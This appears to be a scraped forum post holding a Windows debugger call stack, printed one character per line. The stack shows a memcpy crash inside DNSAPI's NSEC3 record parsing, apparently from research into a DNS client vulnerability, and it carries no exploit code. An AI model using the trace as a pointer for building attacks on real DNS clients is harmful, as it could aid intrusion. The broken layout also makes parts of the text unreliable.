?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
0
:
0
0
6
>
k
#
C
h
i
l
d
-
S
P
R
e
t
A
d
d
r
C
a
l
l
S
i
t
e
0
0
0
0
0
0
0
0
d
d
`
f
9
f
f
e
e
2
8
0
0
0
0
7
f
f
e
`
5
f
d
2
6
7
2
4
n
t
d
l
l
!
m
e
m
c
p
y
+
0
x
2
2
0
0
1
0
0
0
0
0
0
d
d
`
f
9
f
f
e
e
3
0
0
0
0
0
7
f
f
e
`
5
f
c
e
f
5
e
6
D
N
S
A
P
I
!
N
s
e
c
3
_
R
e
c
o
r
d
R
e
a
d
+
0
x
1
0
4
0
2
0
0
0
0
0
0
d
d
`
f
9
f
f
e
e
7
0
0
0
0
0
7
f
f
e
`
5
f
c
d
6
d
3
f
D
N
S
A
P
I
!
D
n
s
_
P
a
r
s
e
M
e
s
s
a
g
e
+
0
x
2
0
4
9
6
0
3
0
0
0
0
0
0
d
d
`
f
9
f
f
f
3
6
0
0
0
0
0
7
f
f
e
`
5
f
c
d
6
b
3
3
D
N
S
A
P
I
!
S
e
n
d
_
A
n
d
R
e
c
v
C
o
m
p
l
e
t
e
+
0
x
1
7
f
0
4
0
0
0
0
0
0
d
d
`
f
9
f
f
f
4
e
0
0
0
0
0
7
f
f
e
`
5
f
c
d
1
f
c
1
D
N
S
A
P
I
!
S
e
n
d
_
A
n
d
R
e
c
v
U
d
p
C
o
m
p
l
e
t
e
+
0
x
3
3
3
0
5
0
0
0
0
0
0
d
d
`
f
9
f
f
f
5
5
0
0
0
0
0
7
f
f
e
`
6
1
1
a
0
3
2
0
D
N
S
A
P
I
!
R
e
c
v
_
I
o
C
o
m
p
l
e
t
i
o
n
C
a
l
l
b
a
c
k
+
0
x
1
f
1
0
6
0
0
0
0
0
0
d
d
`
f
9
f
f
f
5
d
0
0
0
0
0
7
f
f
e
`
6
4
1
f
3
2
8
7
K
E
R
N
E
L
B
A
S
E
!
B
a
s
e
p
T
p
I
o
C
a
l
l
b
a
c
k
+
0
x
5
0
0
7
0
0
0
0
0
0
d
d
`
f
9
f
f
f
6
2
0
0
0
0
0
7
f
f
e
`
6
4
1
f
1
6
e
1
n
t
d
l
l
!
T
p
p
I
o
p
E
x
e
c
u
t
e
C
a
l
l
b
a
c
k
+
0
x
1
2
7
0
8
0
0
0
0
0
0
d
d
`
f
9
f
f
f
6
a
0
0
0
0
0
7
f
f
e
`
6
1
7
2
2
7
7
4
n
t
d
l
l
!
T
p
p
W
o
r
k
e
r
T
h
r
e
a
d
+
0
x
4
1
1
0
9
0
0
0
0
0
0
d
d
`
f
9
f
f
f
9
b
0
0
0
0
0
7
f
f
e
`
6
4
2
2
0
d
6
1
K
E
R
N
E
L
3
2
!
B
a
s
e
T
h
r
e
a
d
I
n
i
t
T
h
u
n
k
+
0
x
1
4
0
a
0
0
0
0
0
0
d
d
`
f
9
f
f
f
9
e
0
0
0
0
0
0
0
0
0
`
0
0
0
0
0
0
0
0
n
t
d
l
l
!
R
t
l
U
s
e
r
T
h
r
e
a
d
S
t
a
r
t
+
0
x
2
1
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页